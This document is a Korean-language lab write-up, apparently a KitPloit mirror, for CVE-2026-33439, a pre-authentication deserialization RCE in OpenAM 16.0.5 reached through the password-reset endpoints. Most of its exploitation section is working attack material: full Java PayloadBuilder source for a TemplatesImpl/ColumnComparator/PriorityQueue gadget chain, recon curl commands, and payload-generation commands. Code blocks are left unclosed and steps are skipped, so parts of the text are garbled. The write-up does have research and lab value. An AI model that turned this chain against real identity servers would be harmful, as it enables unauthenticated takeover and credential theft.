---

<div id="vulnerability_affected"/>

### ***영향받는 버전***

| 제품                          | 취약 버전                                        | 수정 버전 |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6 |
| ForgeRock AM (다운스트림)     | 패치 계보에 따라 잠재적으로 영향받음              | -      |

---

<div id="vulnerability_attacksurface"/>

### ***공격 표면***

JSP에 *< jato:form >* 태그를 포함하는 모든 JATO ViewBean 엔드포인트는 인증 전에 악용 가능합니다:

| Endpoint                  | 용도                                   |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | 비밀번호 재설정 - 사용자 ID 입력       |
| /ui/PWResetQuestion       | 비밀번호 재설정 - 보안 질문            |

비밀번호 재설정 엔드포인트가 기본 대상이며, 설계상 공개적으로 접근 가능하고 *< jato:form >* 태그를 반드시 렌더링합니다.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ 가젯 체인***

<div id="gadgetchain_deserialization101"/>

### ***Java 역직렬화 101***

Java가 바이트 스트림에서 객체를 역직렬화할 때, 중첩 객체를 포함하여 재구성하는 모든 클래스에서 readObject()를 호출합니다. 공격자가 바이트 스트림을 제어하고 readObject()가 코드 실행으로 이어지는 일련의 메서드 호출을 트리거하는 객체를 주입하면 가젯 체인 RCE를 얻을 수 있습니다.

CVE-2026-33439의 핵심: 가젯 체인은 외부 라이브러리가 필요 없습니다. 체인의 모든 클래스는 OpenAM WAR 자체에 포함되어 있습니다: `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>이로 인해 이 취약점은 기본 OpenAM 배포 어디서나 악용 가능합니다.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

이것이 익스플로잇이 작동하도록 만드는 중요한 세부 사항입니다. `jato-shaded-16.0.5.jar`의 `Encoder` 클래스는 Java의 URL-safe base64 인코더/디코더를 사용합니다. 표준 base64도, 사용자 지정 문자 치환 방식도 아닙니다.

Encoder.class를 디컴파일하여 확인됨:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

URL-safe base64는 '+' 대신 '-'를, '/' 대신 '_'를 사용하며, '=' 패딩이 없습니다. 올바른 인코딩은 다음과 같습니다:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

**3단계 - 브라우저에서 OpenAM 구성**

"http://localhost:8080/openam"으로 이동하여 "Create Default Configuration"을 클릭하고 다음을 설정합니다:

| 필드                           | 값            |
|---------------------------------|---------------|
| 기본 사용자 비밀번호 (amadmin) | Lab@dm1n2026! |
| 에이전트 비밀번호               | secret12      |

구성이 완료될 때까지 약 2분 정도 기다립니다.

**4단계 - 비밀번호 재설정이 활성화되어 있는지 확인**

amadmin으로 로그인 → 구성 → 전역 서비스 → 비밀번호 재설정 → 토글 활성화 → 변경 사항 저장.

**5단계 - 악용 가능한 JSP 엔드포인트 식별**

WAR에서 *< jato:form >* 태그를 포함하는 모든 JSP를 찾으세요. jato.clientSession 역직렬화가 트리거되는 엔드포인트는 다음과 같습니다:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

## 파일 메타데이터 ⸻ Mantis가 메타데이터 추출 등을 위해 추출하고 분석한 파일```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

---

<div id="lab_access"/>

### ***접근***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

---
---
---



<div id="exploitation"/>

## ***💣 악용***

<div id="exploitation_prerequisites"/>

### ***사전 요구 사항***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| 요구 사항            | 참고 사항                                                                                                                            |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | OpenAM이 실행 중인 JVM 버전과 일치해야 합니다. JRE만으로는 충분하지 않으며, EvilTranslet과 PayloadBuilder를 컴파일하려면 javac가 필요합니다. |
| openam-core-16.0.5.jar | OpenAM 컨테이너에서 복사 - Column, Column$ColumnComparator, PropertyUtils 포함                                           |
| xalan-2.7.3.jar        | OpenAM 컨테이너에서 복사 - TemplatesImpl, TransformerFactoryImpl 포함                                                    |
| serializer-2.7.3.jar   | OpenAM 컨테이너에서 복사 - EvilTranslet에서 사용하는 SerializationHandler 포함                                                |
| click-nodeps-2.3.0.jar | OpenAM 컨테이너에서 복사 - Table 포함 (Column$ColumnComparator에 필요)                                              |
| click-extras-2.3.0.jar | OpenAM 컨테이너에서 복사 - click-nodeps의 전이적 의존성                                                             |
| jato-shaded-16.0.5.jar | OpenAM 컨테이너에서 복사 - decodeHttp64가 포함된 Encoder 포함                                                                |
| servlet-api.jar        | Tomcat lib/에서 복사 - Table 직렬화에 필요한 Jakarta Servlet API                                                |
| Python 3.8+            | PoC 스크립트용                                                                                                               |
| requests               | pip install requests                                                                                                             |

---

<div id="exploitation_discovery"/>

### ***탐색 및 정찰***

**1단계 - OpenAM이 실행 중인지 확인하고 버전 식별**```
http://localhost:8080/openam/ccversion/Version

**3단계 - jato.clientSession이 처리되는지 확인**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}

static void setField(Object obj, String name, Object value) throws Exception {
	Field f = obj.getClass().getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

static void setFieldPQ(Object obj, String name, Object value) throws Exception {
	Field f = PriorityQueue.class.getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

public static void main(String[] args) throws Exception {
	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

	// Step 1 - TemplatesImpl with EvilTranslet bytecode
	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
	TemplatesImpl templates = new TemplatesImpl();
	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
	setField(templates, "_name",          "EvilTranslet");
	setField(templates, "_tfactory",      new TransformerFactoryImpl());
	setField(templates, "_transletIndex", 0);

	// Step 2 - Column with Table associated
	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
	Table table = new Table();
	Column column = new Column("outputProperties");
	column.setTable(table);

	@SuppressWarnings("unchecked")
	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

	// Step 3 - PriorityQueue as deserialization trigger
	// readObject() -> heapify() -> siftDown() -> comparator.compare()
	// Size must be >= 2 for heapify to call compare()
	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
	setFieldPQ(queue, "size",  2);

	// Step 4 - Serialize and URL-safe base64 encode
	ByteArrayOutputStream baos = new ByteArrayOutputStream();
	ObjectOutputStream oos = new ObjectOutputStream(baos);
	oos.writeObject(queue);
	oos.close();

	System.out.println(encodeHttp64(baos.toByteArray()));
}

**Step 4 - 페이로드 생성**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64